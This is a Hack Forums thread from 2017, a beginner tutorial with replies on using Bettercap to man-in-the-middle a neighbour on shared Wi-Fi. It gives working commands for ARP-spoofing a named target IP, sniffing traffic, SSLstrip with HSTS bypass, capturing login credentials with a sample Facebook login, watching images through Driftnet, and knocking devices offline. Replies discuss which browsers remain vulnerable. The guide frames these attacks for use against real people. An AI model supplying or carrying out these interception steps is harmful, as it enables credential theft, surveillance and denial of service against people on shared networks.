

Forum:[Hack Forums](#)

Thread: [\[TUT\]Bettercap: Sniffing, SSLstrip w/ HSTS Bypass AND MORE!](#)

Floppy - February 5, 2017, 2:09 pm

Bettercap: Sniffing, SSLstrip w/ HSTS Bypass AND MORE! [Written For Noobs]

Don't Be Too Illegal!

Bettercap is an up to date Sniffing and Spoofing tool and the successor to Ettercap.

In this tutorial i'll be focusing on finding targets, Forcing HTTP connection and viewing the non encrypted data. This includes things like Usernames, Passwords and images.

First off the software we'll be needing is:

SSLstrip
Bettercap
Ruby
Driftnet

I'll be using Linux Kali 2.0 in which only Bettercap needs to be installed manually (apt-get install bettercap).

The program is simple

Usage: bettercap [Options]

To view all available options simply type --help as an option (bettercap --help)

Now we see all available options. Some points of interests in this tutorial are:

-X (Enables Sniffer so we can capture and examine packages)
-P Value (Allows us to specify what kind of content to sniff)
--proxy (Enables SSLstrip and HSTS Bypass)
-T Value (Allows us to specify which IP we want to attack)

Let's start.

Pretend that your asshole neighbor Bob is stealing your Wi-Fi again with his macbook. Lets find out what he's doing.

Bettercap can be used as an simple network discovery tool by just typing bettercap. It'll now scan for targets. What appears is this

[NEW] 192. 168.1.24 : 32:C5:71:A2:D1:13 (Apple)

Sense you know that you yourself don't have any apple products that must be him.

Great, We now have Bobs IP address and Mac address. Lets start putting it to use.

Firstly lets see what he's doing by using the Sniffer (-X) (bettercap -X -T 192. 168.1.24). Here's the output:

[192. 168.1.24 > 172. 217.29.227:https] [HTTPS] https ://172. 217.29.227/

From this we get the information that his computer is connecting to 'https ://172. 217.29.227/'. A

simple Reverse DNS lookup shows that the IP belongs to google.

This information won't do so let's find out more.

```
bettercap --proxy -T 192. 168.1.24
```

Output:

```
[192. 168.1.24 > DNS] Received request for 'www ww. images.google. com', Sending spoofed reply
```

....

We can now see that he's using google images. Not only that, We are also using SSLstrip to force a non secure HTTP connection. This means that nothing's hidden from us. So lets look up what images he's searching for.

Driftnet:

Driftnet is a simple tool to view all images going through your computer. And 'cause he's now using non secured HTTP we can see all the images. Simply type driftnet -i [Network Interface].

A black box should show up and all images he'll view will you also be able to view. In the black box a bunch of cat pictures are showing up! We now know exactly what he's doing, He's looking at cat pictures.

If we're lucky we can also see some login information appear in its non encrypted glory.

Example:

[HEADERS]

Host : www .facebook.com

[BODY]

email : ilovekittens @ example.com

pass : kitties51

Ok enough playing around. Lets get this Wifi stealer away from our router.

```
bettercap -T 192. 168.1.24 --kill
```

Bob's now unable to do anything until you Ctrl + C

If we're looking for something specific we can specify what results we want with the -P option. If you're looking for login information you can use the value POST or if you're just looking for what websites someone's using use URL.

Examples:

```
bettercap -T [IP Address] (Find out simple information about a node)
```

```
bettercap -X -T [IP Address] -P URL (Find out what websites a node is visiting)
```

```
bettercap -T [IP Address 1],[IP Address 2] --kill (both of nodes are now unable to connect to anything)
```

```
bettercap -T [IP Address] --proxy (Forces target to use non encrypted connection and views target activity)
```

Not Your Average Orange - February 5, 2017, 7:58 pm

Great guide, you deserve more rep!

Although I'd reccomend enabling one of the formatting options.

Lane_Stalker - February 5, 2017, 10:28 pm

Nice brief tutorial there!

k0dez - February 7, 2017, 5:59 pm

Would this be useful in capturing Android app traffic (client -> server comms)? Using tools like Charles/MITMProxy is not giving me traffic from this specific app, but working just fine for other apps and browser sessions. I'm wondering what's up.

Flopppy - February 8, 2017, 8:25 am

(Feb 7, 2017 06:59 PM)k0dez Wrote: [\[CITE\]](#) Would this be useful in capturing Android app traffic (client -> server comms)? Using tools like Charles/MITMProxy is not giving me traffic from this specific app, but working just fine for other apps and browser sessions. I'm wondering what's up. This should work just as well used on android as used on other devices.

You might have to manually DNS lookup the IP addresses if ARP has issues resolving the URLs

Elweth - February 9, 2017, 4:24 am

Nice tutorial on Bettercap. Does the Facebook credentials part really work though, I remember an article stating that Facebook enforces https login only.

Flopppy - February 9, 2017, 9:32 am

(Feb 9, 2017 05:24 AM)Arima Wrote: [\[CITE\]](#) Nice tutorial on Bettercap. Does the Facebook credentials part really work though, I remember an article stating that Facebook enforces https login only.

I remember it working when i tried around half a year ago but maybe they've changed now. The browser side block HSTS is pretty useless tho

roosiinfidel09 - February 16, 2017, 12:45 am

Hi used Bettercap yesterday. I don't think HSTS bypass works for any site now, unless you manually install the certificate in the target machine.

Am I missing something? Have tried all MITMs with SSLStrip2, SSLStrip+ etc. There is apparently no way around HSTS now. Even DNS Spoofing fails

CHEST BRUH - February 16, 2017, 1:30 am

Hey this is great I'll definitely give it a shot thanks well done tutorial!!

Flopppy - February 16, 2017, 1:06 pm

(Feb 16, 2017 01:45 AM)roosiinfidel09 Wrote: [\[CITE\]](#) Hi used Bettercap yesterday. I don't think HSTS bypass works for any site now, unless you manually install the certificate in the target machine.

Am I missing something? Have tried all MITMs with SSLStrip2, SSLStrip+ etc. There is apparently no way around HSTS now. Even DNS Spoofing fails

I myself have noticed Google Chrome getting amazing at blocking these types of attacks lately, Seems like the days of sslstriping are going away

roosiinfidel09 - February 17, 2017, 8:33 am

(Feb 16, 2017 02:06 PM)Flopppy Wrote: [\[CITE\]](#) I myself have noticed Google Chrome getting amazing at blocking these types of attacks lately, Seems like the days of sslstriping are going away Totally agree...I have tried all. MITMf (latest) as well..

beef injection doesn' work now

..even in a remote router(DNS Hi-Jack) it seems now it is difficult to compromise clients because of his HSTS certificate

Hopsin - March 6, 2017, 3:26 pm

(Feb 16, 2017 02:06 PM)Flopppy Wrote: [\[CITE\]](#) I myself have noticed Google Chrome getting

amazing at blocking these types of attacks lately, Seems like the days of sslstripping are going away
For every problem there is a solution, don't worry mate. Have a nice day ?

An0nym0u555 - June 21, 2017, 3:54 pm

Is this method still workig in june 2017?

Flopppy - July 14, 2017, 3:51 pm

(Jun 21, 2017 03:54 PM)An0nym0u555 Wrote: [CITE](#) Is this method still workig in june 2017?

While i haven't used it for quite some time now It'll most likely still work with Internet Explorer or out-of-date Chrome/Firefox. Many people are lazy about updating their stuff so it's still be viable

4ballz - August 8, 2017, 9:16 am

Well explained and brief a'ma give it a shot

phenasty - September 8, 2017, 9:18 am

Hi used Bettercap yesterday. I don't think HSTS bypass works for any site now, unless you manually install the certificate in the target machine.

Am I missing something? Have tried all MITMs with SSLStrip2, SSLStrip+ etc. There is apparently no way around HSTS now. Even DNS Spoofing fails

shrekyboi - July 21, 2018, 8:51 pm

I heard Outlook was still vuln even with HSTS but chrome blocked it when i tried. and it doesn't help that the URL had 5 w's lmao. Im sure there is still plenty of potential even without some of the more well known sites.

divino2017 - July 22, 2018, 4:57 am

nice tutorial would this work on vpn bro?

FriendZone - July 22, 2018, 7:51 am

The new 2.6 bettercap version has been released, it changed a lot , this tutorial is valid until 1.6.2 version of last year

peterkakol - July 30, 2018, 4:44 am

I miss old time When I was in college. i was using wireshark with arp poison. now Bettercap is sucks. chrome already detects it

qingo00 - September 1, 2018, 1:15 pm

i like driftnet part, thanks.

modafukoinkoin - September 9, 2018, 7:50 am

thank you, it's whati needed.